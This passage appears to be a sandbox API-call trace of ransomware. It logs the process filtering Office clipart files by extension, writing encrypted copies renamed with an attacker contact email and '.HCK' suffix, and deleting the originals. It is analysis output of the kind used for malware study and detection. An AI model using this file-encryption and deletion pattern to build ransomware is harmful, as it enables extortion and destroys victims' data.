Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.987] lstrlenW (lpString=".jpg") returned 4 [0171.987] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0171.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.987] lstrlenW (lpString=".doc") returned 4 [0171.987] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0171.987] lstrlenW (lpString=".docx") returned 5 [0171.987] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0171.987] lstrlenW (lpString=".pdf") returned 4 [0171.987] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0171.987] lstrlenW (lpString=".xls") returned 4 [0171.987] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0171.987] lstrlenW (lpString=".xlsx") returned 5 [0171.988] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0171.988] lstrlenW (lpString=".ppt") returned 4 [0171.988] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0171.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.988] lstrlenW (lpString=".zip") returned 4 [0171.988] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0171.988] lstrlenW (lpString=".rar") returned 4 [0171.988] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0171.988] lstrlenW (lpString=".bz2") returned 4 [0171.988] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0171.988] lstrlenW (lpString=".7z") returned 3 [0171.988] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0171.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.988] lstrlenW (lpString=".dbf") returned 4 [0171.988] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0171.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.988] lstrlenW (lpString=".1cd") returned 4 [0171.988] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0171.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG") returned 68 [0171.988] lstrlenW (lpString=".jpg") returned 4 [0171.988] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0171.988] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.988] lstrlenW (lpString="J0290548.WMF") returned 12 [0171.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0171.996] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=40586) returned 1 [0171.996] CloseHandle (hObject=0x308) returned 1 [0171.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0290548.wmf")) returned 0x220 [0171.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0290548.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.001] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.001] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0290548.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.005] GetLastError () returned 0x0 [0172.005] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x9e8a, lpOverlapped=0x0) returned 1 [0172.007] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x9e90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x9e90, lpOverlapped=0x0) returned 1 [0172.008] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.008] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.008] SetEndOfFile (hFile=0x38c) returned 1 [0172.010] CloseHandle (hObject=0x38c) returned 1 [0172.012] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.012] SetEndOfFile (hFile=0x394) returned 1 [0172.014] CloseHandle (hObject=0x394) returned 1 [0172.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0290548.wmf")) returned 1 [0172.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.018] lstrlenW (lpString=".doc") returned 4 [0172.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.018] lstrlenW (lpString=".docx") returned 5 [0172.018] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.018] lstrlenW (lpString=".pdf") returned 4 [0172.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.018] lstrlenW (lpString=".xls") returned 4 [0172.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.018] lstrlenW (lpString=".xlsx") returned 5 [0172.018] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.018] lstrlenW (lpString=".ppt") returned 4 [0172.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.018] lstrlenW (lpString=".zip") returned 4 [0172.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.018] lstrlenW (lpString=".rar") returned 4 [0172.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.018] lstrlenW (lpString=".bz2") returned 4 [0172.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.018] lstrlenW (lpString=".7z") returned 3 [0172.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.018] lstrlenW (lpString=".dbf") returned 4 [0172.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.018] lstrlenW (lpString=".1cd") returned 4 [0172.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.018] lstrlenW (lpString=".jpg") returned 4 [0172.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.019] lstrlenW (lpString=".doc") returned 4 [0172.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.019] lstrlenW (lpString=".docx") returned 5 [0172.019] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.019] lstrlenW (lpString=".pdf") returned 4 [0172.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.019] lstrlenW (lpString=".xls") returned 4 [0172.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.019] lstrlenW (lpString=".xlsx") returned 5 [0172.019] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.019] lstrlenW (lpString=".ppt") returned 4 [0172.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.019] lstrlenW (lpString=".zip") returned 4 [0172.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.019] lstrlenW (lpString=".rar") returned 4 [0172.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.019] lstrlenW (lpString=".bz2") returned 4 [0172.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.019] lstrlenW (lpString=".7z") returned 3 [0172.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.019] lstrlenW (lpString=".dbf") returned 4 [0172.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.019] lstrlenW (lpString=".1cd") returned 4 [0172.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF") returned 68 [0172.019] lstrlenW (lpString=".jpg") returned 4 [0172.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.019] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.019] lstrlenW (lpString="J0292272.WMF") returned 12 [0172.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.026] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7012) returned 1 [0172.026] CloseHandle (hObject=0x38c) returned 1 [0172.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292272.wmf")) returned 0x220 [0172.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292272.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.032] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.033] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292272.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0172.040] GetLastError () returned 0x0 [0172.040] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1b64, lpOverlapped=0x0) returned 1 [0172.042] WriteFile (in: hFile=0x37c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1b70, lpOverlapped=0x0) returned 1 [0172.042] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.042] WriteFile (in: hFile=0x37c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.042] SetEndOfFile (hFile=0x37c) returned 1 [0172.044] CloseHandle (hObject=0x37c) returned 1 [0172.045] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.045] SetEndOfFile (hFile=0x394) returned 1 [0172.047] CloseHandle (hObject=0x394) returned 1 [0172.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292272.wmf")) returned 1 [0172.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.054] lstrlenW (lpString=".doc") returned 4 [0172.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.054] lstrlenW (lpString=".docx") returned 5 [0172.054] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.054] lstrlenW (lpString=".pdf") returned 4 [0172.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.054] lstrlenW (lpString=".xls") returned 4 [0172.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.054] lstrlenW (lpString=".xlsx") returned 5 [0172.054] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.054] lstrlenW (lpString=".ppt") returned 4 [0172.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.054] lstrlenW (lpString=".zip") returned 4 [0172.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.054] lstrlenW (lpString=".rar") returned 4 [0172.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.054] lstrlenW (lpString=".bz2") returned 4 [0172.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.054] lstrlenW (lpString=".7z") returned 3 [0172.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.054] lstrlenW (lpString=".dbf") returned 4 [0172.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.054] lstrlenW (lpString=".1cd") returned 4 [0172.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.054] lstrlenW (lpString=".jpg") returned 4 [0172.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.054] lstrlenW (lpString=".doc") returned 4 [0172.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.055] lstrlenW (lpString=".docx") returned 5 [0172.055] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.055] lstrlenW (lpString=".pdf") returned 4 [0172.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.055] lstrlenW (lpString=".xls") returned 4 [0172.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.055] lstrlenW (lpString=".xlsx") returned 5 [0172.055] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.055] lstrlenW (lpString=".ppt") returned 4 [0172.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.055] lstrlenW (lpString=".zip") returned 4 [0172.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.055] lstrlenW (lpString=".rar") returned 4 [0172.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.055] lstrlenW (lpString=".bz2") returned 4 [0172.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.055] lstrlenW (lpString=".7z") returned 3 [0172.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.055] lstrlenW (lpString=".dbf") returned 4 [0172.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.055] lstrlenW (lpString=".1cd") returned 4 [0172.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF") returned 68 [0172.055] lstrlenW (lpString=".jpg") returned 4 [0172.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.055] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.055] lstrlenW (lpString="J0294989.WMF") returned 12 [0172.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.058] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=14302) returned 1 [0172.058] CloseHandle (hObject=0x394) returned 1 [0172.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294989.wmf")) returned 0x220 [0172.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294989.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0172.066] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.066] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294989.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.071] GetLastError () returned 0x0 [0172.071] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x37de, lpOverlapped=0x0) returned 1 [0172.073] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x37e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x37e0, lpOverlapped=0x0) returned 1 [0172.074] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.074] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.074] SetEndOfFile (hFile=0x38c) returned 1 [0172.075] CloseHandle (hObject=0x38c) returned 1 [0172.077] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.077] SetEndOfFile (hFile=0x39c) returned 1 [0172.080] CloseHandle (hObject=0x39c) returned 1 [0172.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294989.wmf")) returned 1 [0172.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.085] lstrlenW (lpString=".doc") returned 4 [0172.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.085] lstrlenW (lpString=".docx") returned 5 [0172.085] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0172.085] lstrlenW (lpString=".pdf") returned 4 [0172.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.085] lstrlenW (lpString=".xls") returned 4 [0172.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.085] lstrlenW (lpString=".xlsx") returned 5 [0172.085] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0172.085] lstrlenW (lpString=".ppt") returned 4 [0172.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.085] lstrlenW (lpString=".zip") returned 4 [0172.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.085] lstrlenW (lpString=".rar") returned 4 [0172.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.085] lstrlenW (lpString=".bz2") returned 4 [0172.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.085] lstrlenW (lpString=".7z") returned 3 [0172.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.085] lstrlenW (lpString=".dbf") returned 4 [0172.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.085] lstrlenW (lpString=".1cd") returned 4 [0172.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.085] lstrlenW (lpString=".jpg") returned 4 [0172.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.085] lstrlenW (lpString=".doc") returned 4 